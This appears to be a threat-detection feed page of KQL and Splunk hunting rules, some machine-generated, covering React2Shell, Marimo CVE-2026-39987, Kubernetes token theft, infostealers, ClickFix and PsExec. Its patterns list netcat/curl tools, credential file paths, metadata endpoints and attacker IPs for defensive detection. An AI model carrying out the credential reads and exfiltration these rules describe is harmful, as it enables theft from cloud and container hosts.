Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Understanding Current Threats to Kubernetes Environments
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("proxy.sh", "kube.py"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/var/run/secrets/kubernetes.io/serviceaccount/", "/var/run/secrets/", "/var/run/secrets/kubernetes.io/serviceaccount/token") or FileName in~ ("proxy.sh", "kube.py"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Understanding Current Threats to Kubernetes Environments ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("proxy.sh","kube.py"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/var/run/secrets/kubernetes.io/serviceaccount/*" OR Filesystem.file_path="*/var/run/secrets/*" OR Filesystem.file_path="*/var/run/secrets/kubernetes.io/serviceaccount/token*" OR Filesystem.file_name IN ("proxy.sh","kube.py"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] React2Shell post-exploit: Node.js/Next.js spawning shell utilities to read mounted SA tokens (CVE-2025-55182)ExploitationHigh
Hunts for the immediate child-process behaviour after CVE-2025-55182 (React2Shell) deserialization RCE: a Node.js / next-server worker spawning sh/bash/curl/python that touches the Kubernetes service-account token mount, the IMDS, or cloud credential files. Specific to the Unit42, MS, AWS, Google, Cloudflare write-ups of RSC Flight protocol exploitation against pods exposed via ingress.
Rationale: Node/Next.js spawning shell utilities that immediately read the SA token mount path or IMDS is the diagnostic post-exploit signature for React2Shell RCE described in Case 2; benign Next.js workloads almost never read these paths. AWS, Microsoft, Google GTIG, and Cloudflare independently confirm Node.js child-process spawning with credential/IMDS access as the canonical CVE-2025-55182 post-exploit chain.
Cross-checked against:
• https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/
• https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/
• https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182
• https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/
• https://nvd.nist.gov/vuln/detail/CVE-2025-55182
ATT&CKT1190T1059.004T1552.001T1552.005
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node","nodejs","next-server","npm","pnpm","yarn")
| where FileName in~ ("sh","bash","dash","curl","wget","python","python3","base64","nc","ncat","kubectl")
| where ProcessCommandLine has_any ("/var/run/secrets/kubernetes.io/serviceaccount",".aws/credentials","/root/.aws","169.254.169.254","metadata.google.internal","169.254.170.2","/proc/self/environ","KUBERNETES_SERVICE_HOST","AWS_CONTAINER_CREDENTIALS")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN ("node","nodejs","next-server","npm","pnpm","yarn") AND Processes.process_name IN ("sh","bash","dash","curl","wget","python","python3","base64","nc","ncat") AND (Processes.process="*serviceaccount/token*" OR Processes.process="*.aws/credentials*" OR Processes.process="*/root/.aws*" OR Processes.process="*169.254.169.254*" OR Processes.process="*metadata.google.internal*" OR Processes.process="*169.254.170.2*" OR Processes.process="*/proc/self/environ*" OR Processes.process="*kubectl*" OR Processes.process="*$KUBERNETES_SERVICE_HOST*") by host Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
[LLM] Kubernetes pod base64-encoding cloud credential files and POSTing via curl/wgetActions on ObjectivesHigh
Detects the exfil pattern shown in Unit42 Figure 2: a workload reads /var/run/secrets/kubernetes.io/serviceaccount/token, ~/.aws/credentials or container env, pipes through `base64`, and uploads via `curl -X POST` / `wget --post-data` / `--data-binary`. Catches React2Shell follow-on activity and Slow Pisces / Peirates-style token harvesting regardless of initial vector.
Rationale: Encoding `/var/run/secrets/kubernetes.io/serviceaccount/token` or `~/.aws/credentials` to base64 and POSTing via curl is the verbatim TTP shown in Figure 2 of the Unit42 article; the cred-file path + base64 + curl POST trio is essentially never legitimate. KnownIOC enrichment uses the article's exfil IPs as a high-fidelity boost. AWS/Cloudflare/Microsoft writeups corroborate the same encode-and-POST pattern post-React2Shell.
Cross-checked against:
• https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/
• https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/
• https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/
• https://attack.mitre.org/software/S0683/
ATT&CKT1552.001T1528T1041T1132.001
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let credPaths = dynamic(["/var/run/secrets/kubernetes.io/serviceaccount/token",".aws/credentials","/root/.aws","/home","GOOGLE_APPLICATION_CREDENTIALS","/proc/self/environ",".kube/config","/.config/gcloud","AZURE_CLIENT_SECRET"]);
let exfilFlags = dynamic(["-X POST","--data","--data-binary","--post-data","-T ","-d @"]);
DeviceProcessEvents
| where ProcessCommandLine has "base64"
| where ProcessCommandLine has_any ("curl", "wget")
| where ProcessCommandLine has_any (credPaths)
| where ProcessCommandLine has_any (exfilFlags) or ProcessCommandLine matches regex @"https?://(?:\d{1,3}\.){3}\d{1,3}"
| extend SuspectIP = extract(@"https?://((?:\d{1,3}\.){3}\d{1,3})", 1, ProcessCommandLine)
| extend KnownIOC = SuspectIP in ("104.238.149.198","45.76.155.14","23.235.188.3")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, SuspectIP, KnownIOC
| order by KnownIOC desc, Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent from datamodel=Endpoint.Processes where Processes.process="*base64*" AND (Processes.process="*curl*" OR Processes.process="*wget*") AND (Processes.process="*serviceaccount/token*" OR Processes.process="*.aws/credentials*" OR Processes.process="*/root/.aws*" OR Processes.process="*/home/*/.aws*" OR Processes.process="*GOOGLE_APPLICATION_CREDENTIALS*" OR Processes.process="*/proc/self/environ*" OR Processes.process="* env *" OR Processes.process="*printenv*" OR Processes.process="*config/gcloud*" OR Processes.process="*.kube/config*") AND (Processes.process="*-X POST*" OR Processes.process="*--data*" OR Processes.process="*--post-data*" OR Processes.process="*-T *") by host Processes.user Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
[LLM] Vim-masquerading backdoor downloaded to /tmp, executed, and self-deleted in containerInstallationHigh
Hunts the Unit42 Figure 3 install pattern: curl/wget fetches a binary named `vim` (or `.vim`) into /tmp, /var/tmp, or /dev/shm, chmod +x'd, executed, then `rm`'d. Vim is rarely fetched at runtime inside container workloads — when it is, and it lands in a writable scratch path, that is a strong masquerade signal seen with React2Shell-stage backdoor delivery.
Rationale: Container workloads do not legitimately curl a binary called `vim` into a tmpfs path then chmod+exec+rm — this is the exact behaviour Unit42 captured in Figure 3 as a React2Shell second-stage backdoor. The temporal multi-stage union (download → execute → delete) plus the article's known C2 IPs makes this very high-fidelity. No public Sigma rule currently covers a vim-named binary in /tmp specifically.
Cross-checked against:
• https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/
• https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182
• https://attack.mitre.org/techniques/T1036/005/
ATT&CKT1036.005T1105T1070.004T1059.004
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let scratchPaths = dynamic(["/tmp/","/var/tmp/","/dev/shm/"]);
let downloadEvt =
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("sh","bash","dash","node","nodejs")
| where FileName in~ ("curl","wget")
| where ProcessCommandLine matches regex @"(?i)(/tmp|/var/tmp|/dev/shm)/\.?vim\b"
| extend Stage = "download"
| project Timestamp, DeviceName, Stage, ProcessCommandLine, RemoteIP=extract(@"https?://((?:\d{1,3}\.){3}\d{1,3})", 1, ProcessCommandLine), InitiatingProcessId, ProcessId;
let execEvt =
DeviceProcessEvents
| where FolderPath has_any (scratchPaths)
| where FileName in~ ("vim",".vim")
| extend Stage = "execute"
| project Timestamp, DeviceName, Stage, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
let deleteEvt =
DeviceProcessEvents
| where FileName in~ ("rm","unlink")
| where ProcessCommandLine matches regex @"(?i)(/tmp|/var/tmp|/dev/shm)/\.?vim\b"
| extend Stage = "delete"
| project Timestamp, DeviceName, Stage, ProcessCommandLine;
union downloadEvt, execEvt, deleteEvt
| extend KnownIOC = RemoteIP in ("104.238.149.198","45.76.155.14","23.235.188.3")
| summarize Stages=make_set(Stage), Cmds=make_list(ProcessCommandLine, 20), AnyKnownIOC=max(tobool(KnownIOC)) by DeviceName, bin(Timestamp, 10m)
| where array_length(Stages) >= 2 or AnyKnownIOC == true
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmds values(Processes.process_name) as procs from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("curl","wget","sh","bash","dash") OR Processes.process_name IN ("curl","wget")) AND ((Processes.process="*/tmp/vim*" OR Processes.process="*/var/tmp/vim*" OR Processes.process="*/dev/shm/vim*" OR Processes.process="*/tmp/.vim*") OR (match(Processes.process,"(?i)(curl|wget)\s+[^|;&]*-O\s+(/tmp|/var/tmp|/dev/shm)/\.?vim\b")) ) by host Processes.user Processes.parent_process Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
2026-04-064 use cases0 techniques3 kill-chain phases detected
Fortinet FortiClient EMS contains an improper access control vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests. Vendor: Fortinet, Product: FortiClient EMS. Federal patch due: 2026-04-09.
CVEsCVE-2026-35616
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-35616")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-35616")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-038 use cases4 techniques5 kill-chain phases detected
Unit 42 research on multi-agent AI systems on Amazon Bedrock reveals new attack surfaces and prompt injection risks. Learn how to secure your AI applications. The post When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications appeared first on Unit 42 .
CVEsCVE-2025-55182
ATT&CKT1059.001T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
